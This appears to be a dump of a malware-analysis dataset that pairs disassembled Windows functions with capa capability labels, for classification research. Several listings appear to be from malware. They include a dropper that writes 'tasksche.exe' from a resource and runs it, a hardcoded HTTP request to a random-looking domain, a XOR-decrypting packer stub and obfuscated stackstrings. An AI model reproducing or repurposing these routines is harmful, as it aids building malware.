joyce8/EMBER2024-capa huggingface dataset:
Function at 0x105287b
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1063194]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x210]
push ecx
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
cmp eax, esi
jae 0x1052a5b
test eax, eax
jne 0x10528c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1052a5e
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x1052a5b
lea ecx, [ebp - 0x210]
cmp eax, ecx
je 0x1052a5b
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0x210]
cmp ax, 0x41
jb 0x10528fb
cmp ax, 0x5a
jbe 0x1052904
lea ecx, [eax - 0x61]
cmp cx, 0x19
ja 0x1052928
cmp word [ebp - 0x20e], 0x3a
jne 0x1052928
cmp word [ebp - 0x20c], 0x5c
jne 0x1052a5b
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x214], ecx
push 0x5c
pop edi
cmp ax, di
jne 0x105296a
cmp word [ebp - 0x20e], di
jne 0x105296a
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.01054573
pop ecx
pop ecx
test eax, eax
je 0x1052a5b
add eax, 2
push edi
push eax
call fcn.01054573
pop ecx
pop ecx
mov dword [ebp - 0x214], eax
test eax, eax
je 0x1052a5b
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1052994
and al, 0x10
movzx eax, al
neg eax
sbb eax, eax
and eax, 0xfffffef5
add eax, 0x10b
jmp 0x1052a5e
mov esi, dword [ebp - 0x218]
lea eax, [ebp - 0x210]
cmp esi, eax
jne 0x10529a8
mov esi, eax
jmp 0x10529ab
add esi, 0xfffffffe
cmp esi, dword [ebp - 0x214]
je 0x1052a5b
cmp word [esi], di
jne 0x1052a5b
cmp esi, dword [ebp - 0x214]
jbe 0x1052a5b
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x210]
push 0x5c
push eax
call fcn.0105459e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1052a5b
movzx ebx, word [edi + 2]
xor eax, eax
mov word [edi + 2], ax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov word [edi + 2], bx
cmp eax, 0xffffffff
jne 0x1052a23
mov esi, edi
cmp edi, dword [ebp - 0x214]
ja 0x10529cc
cmp esi, dword [ebp - 0x214]
jbe 0x1052a5b
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor ebx, ebx
jmp 0x1052a44
test al, 0x10
jne 0x1052a11
mov eax, 0x10b
jmp 0x1052a5e
cmp word [esi + 2], bx
je 0x1052a57
push 0x5c
pop eax
push esi
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2]
push ebx
lea eax, [ebp - 0x210]
push eax
call edi
test eax, eax
jne 0x1052a2e
jmp 0x10528bd
xor eax, eax
jmp 0x1052a5e
push 0x7b
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01021557
leave
ret 4
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push esi
call edi
push str.CreateFileA
push esi
mov dword [0x431478], eax
call edi
push str.WriteFile
push esi
mov dword [0x431458], eax
call edi
push str.CloseHandle
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.tasksche.exe
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.WINDOWS
lea eax, [esp + 0x70]
push str.C:_s_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push str.WINDOWS
push str.C:_sqeriuwjhrf
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
Function at 0x712514
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
and dword [ebp - 4], 0
mov eax, dword [edi + 4]
mov dword [ebp + 0x14], eax
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x7125e3
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x712583
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x7125ce
push dword [edi + 0x30]
mov eax, dword [ebp + 0x14]
add eax, dword [esi - 4]
push 4
push 0x1000
push ebx
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x7125eb
mov eax, dword [ebp + 0x14]
push ebx
add eax, dword [esi - 4]
push 0
push eax
mov dword [esi - 8], eax
call fcn.00717752
add esp, 0xc
jmp 0x7125ce
mov ecx, dword [esi + 4]
add ecx, eax
push ecx
push dword [ebp + 0xc]
call fcn.007124fb
pop ecx
test eax, eax
pop ecx
je 0x7125eb
push dword [edi + 0x30]
mov ebx, dword [ebp + 0x14]
mov eax, ebx
add eax, dword [esi - 4]
push 4
push 0x1000
push dword [esi]
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x7125eb
mov eax, dword [esi + 4]
push dword [esi]
add eax, dword [ebp + 8]
add ebx, dword [esi - 4]
push eax
push ebx
call fcn.007177aa
add esp, 0xc
mov dword [esi - 8], ebx
mov eax, dword [edi]
inc dword [ebp - 4]
add esi, 0x28
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x712540
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x7125e6
Function at 0x713acc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
push esi
jne 0x713af5
push 0x40f570
lea ecx, [ebp - 0xc]
call dword [0x408184]
lea eax, [ebp - 0xc]
push 0x40d570
push eax
call fcn.00717812
xor esi, esi
cmp dword [ecx + 0x3cc], esi
jle 0x713b16
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dl, byte [edi]
xor byte [eax], dl
inc edi
inc eax
inc esi
cmp esi, dword [ecx + 0x3cc]
jl 0x713b06
pop edi
pop esi
leave
ret 8

Function at 0x7154c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x7154d1
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x10], 8
push esi
push edi
not eax
mov ecx, 0xff
jb 0x7155b2
mov edi, dword [ebp + 0x10]
push ebx
shr edi, 3
movzx ebx, byte [edx]
mov esi, eax
sub dword [ebp + 0x10], 8
and esi, ecx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x40d054]
xor eax, ebx
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x40d054]
xor eax, esi
inc edx
dec edi
jne 0x7154ee
pop ebx
cmp dword [ebp + 0x10], 0
je 0x7155d3
movzx edi, byte [edx]
mov esi, eax
and esi, ecx
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x40d054]
xor eax, esi
inc edx
dec dword [ebp + 0x10]
jne 0x7155b8
pop edi
pop esi
not eax
pop ebp
ret

Function at 0x7155d9
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [esp + 4]
push esi
push edi
mov edx, 0xff
mov esi, dword [ecx]
movzx edi, byte [esp + 0x10]
mov eax, esi
and eax, edx
xor eax, edi
shr esi, 8
mov eax, dword [eax*4 + 0x40d054]
xor eax, esi
mov esi, dword [ecx + 8]
mov dword [ecx], eax
and eax, edx
add eax, dword [ecx + 4]
mov edi, esi
and edi, edx
imul eax, eax, 0x8088405
inc eax
mov dword [ecx + 4], eax
shr eax, 0x18
xor eax, edi
pop edi
shr esi, 8
mov eax, dword [eax*4 + 0x40d054]
xor eax, esi
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x40d596
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x1505
jmp 0x40d5b7
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x40d5af
and ecx, 0xffffffdf
imul edx, edx, 0x21
xor edx, ecx
add esi, 2
movzx ecx, word [esi]
test ecx, ecx
jne 0x40d5a4
mov eax, dword [ebp + 0x10]
movzx ecx, dl
mov edx, ecx
and ecx, 0x1f
shr edx, 5
mov dword [eax], edx
xor edx, edx
mov eax, dword [ebp + 0x14]
inc edx
shl edx, cl
pop esi
mov dword [eax], edx
pop ebp
ret 0x10

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3da02e64
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..tls
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x762e7a2f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x406470
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
cld
invalid
jmp [esi + eax*8]
test dword [edx + 0x14fffffc], ebp
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.00405511
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004054c6
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.00405501
cmpsb byte [esi], byte es:[edi]
ja 0x4064a5
invalid
aad 0x68
add al, 1
add byte [eax], al
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.00405501
mov ah, 0xa4
loop 0x406540
and byte [ebp - 0x20], 0
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.00405511
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004054c6
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
push eax
push 0x104
call dword [ebp - 0x370]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x28]
movsx eax, byte [ebp + eax - 0x12d]
cmp eax, 0x5c
jne 0x4065ad
inc ebp
jmp 0xea862bd5
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x550]
movsx eax, byte [ebp + eax - 0x655]
cmp eax, 0x5c
jne 0x4065cd
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
and dword [ebp - 0x338], 0
and dword [ebp - 0x3d0], 0
jmp 0x4065ea
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x104
jge 0x406651
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
and eax, 0x80
test eax, eax
je 0x40661c
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
jmp 0x40664f
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
cmp eax, 0x5c
jne 0x40663b
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
test eax, eax
jne 0x40664f
jmp 0x406651
jmp 0x4065dd
mov eax, dword [ebp - 0x670]
add eax, dword [ebp - 0x384]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
push dword [ebp - 0x338]
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.00405472
add esp, 0xc
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x670]
inc eax
Function at 0x4091e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x409204
mov eax, 3
jmp 0x40931c
mov ecx, dword [ebp - 0x14]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409220
mov eax, 2
jmp 0x40931c
mov dword [ebp - 4], 0x82
mov edx, dword [ebp - 4]
shl edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, 1
cmp dword [ebp - 4], eax
ja 0x4092fb
mov ecx, dword [ebp - 4]
shl ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x821
jb 0x409259
mov eax, 0xd
jmp 0x40931c
xor ecx, ecx
mov eax, dword [ebp - 4]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00407678
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
shl edx, 1
push edx
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, 4
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
push 0x40e51c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4092cc
mov ecx, dword [ebp - 4]
sub ecx, 1
cmp dword [ebp - 8], ecx
jne 0x4092f6
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
cmp dword [ebp - 8], 0
jne 0x4092f6
mov eax, 0xe8
jmp 0x40931c
jmp 0x40922f
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x409313
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40931a
mov eax, 0xd
jmp 0x40931c
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x409330
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, 0xfeff
mov word [ebp - 8], ax
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp - 0x10]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x409372
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
push 0
lea edx, [ebp - 4]
push edx
push 2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x409394
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
push 0
lea edx, [ebp - 4]
push edx
push 0x40e48c
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
lea eax, [eax + eax + 2]
push eax
push str._SESSION_
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4093c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4093d4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x405220
Capabilities:
Print debug messages

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c0670
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x20
push esi
push edi
mov eax, dword [0x501040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
cmp byte [ecx + 4], 0
je 0x4052ee
add ecx, 0xb0
call fcn.00409130
test eax, eax
je 0x40528a
lea ecx, [ebx + 8]
push ecx
mov ecx, eax
call fcn.0040ac90
test al, al
jne 0x4052ee
mov eax, dword [ebx + 8]
mov ecx, str.AAAA
mov edx, str.A
push 0x30
push str._WINTUN__2__DNS__DnsResolver___
cmp byte [eax], 0
cmove edx, ecx
lea ecx, [ebp - 0x2c]
call fcn.004089c0
add esp, 8
cmp dword [eax + 0x14], 0xf
jbe 0x4052b7
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4052ee
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4052e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40532c
push ecx
push edx
call fcn.00472d8e
add esp, 8
mov esi, dword [ebx + 0xc]
test esi, esi
je 0x405316
or edi, 0xffffffff
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x405316
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x405316
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
call fcn.004a091e
int3
Function at 0x407400
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp edx, eax
je 0x40759c
cmp dword [edx + 0x1c], 0xf
mov eax, dword [ecx + 4]
push esi
mov dword [ebp - 0x1c], eax
mov esi, edx
mov eax, dword [ecx + 0xc]
push edi
mov dword [ebp - 0x18], eax
lea edi, [edx + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [edi + 0x10]
jbe 0x40743b
mov edi, dword [edi]
xor edx, edx
push ebx
mov ebx, 0x811c9dc5
test eax, eax
je 0x407464
mov ecx, eax
nop dword [eax]
movzx eax, byte [edi + edx]
inc edx
xor eax, ebx
imul ebx, eax, 0x1000193
cmp edx, ecx
jb 0x407450
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x18]
mov ecx, dword [ebp - 0x18]
and eax, ebx
lea eax, [ecx + eax*8]
mov ecx, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [eax + 4]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], eax
nop dword [eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.0040be90
push 0x28
push edi
call fcn.00472d8e
mov eax, dword [ebp - 8]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x14]
je 0x4074c9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x407480
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x4074b8
mov edx, dword [ebp - 0x10]
mov dword [edx], esi
mov ecx, dword [ebp - 0xc]
pop ebx
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 8]
jne 0x4074db
mov ecx, dword [ebp - 0x1c]
mov dword [edx], ecx
jmp 0x4074de
mov ecx, dword [ebp - 0xc]
mov dword [edx + 4], ecx
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
je 0x40758f
nop dword [eax]
cmp dword [esi + 0x1c], 0xf
lea edx, [esi + 8]
mov ebx, dword [edx + 0x10]
jbe 0x4074fe
mov edx, dword [edx]
xor ecx, ecx
mov edi, 0x811c9dc5
test ebx, ebx
je 0x407524
nop dword [eax]
movzx eax, byte [edx + ecx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, ebx
jb 0x407510
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov ecx, dword [ebp - 0x18]
and eax, edi
lea eax, [ecx + eax*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.0040be90
push 0x28
push edi
call fcn.00472d8e
mov eax, dword [ebp - 8]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x14]
je 0x407579
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x407538
mov ecx, dword [ebp - 4]
pop ebx
pop edi
mov dword [ecx], esi
mov ecx, dword [ebp - 0xc]
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0x1c]
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
jne 0x4074f0
mov eax, dword [ebp - 0xc]
pop ebx
pop edi
mov dword [eax], esi
mov dword [esi + 4], eax
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret 8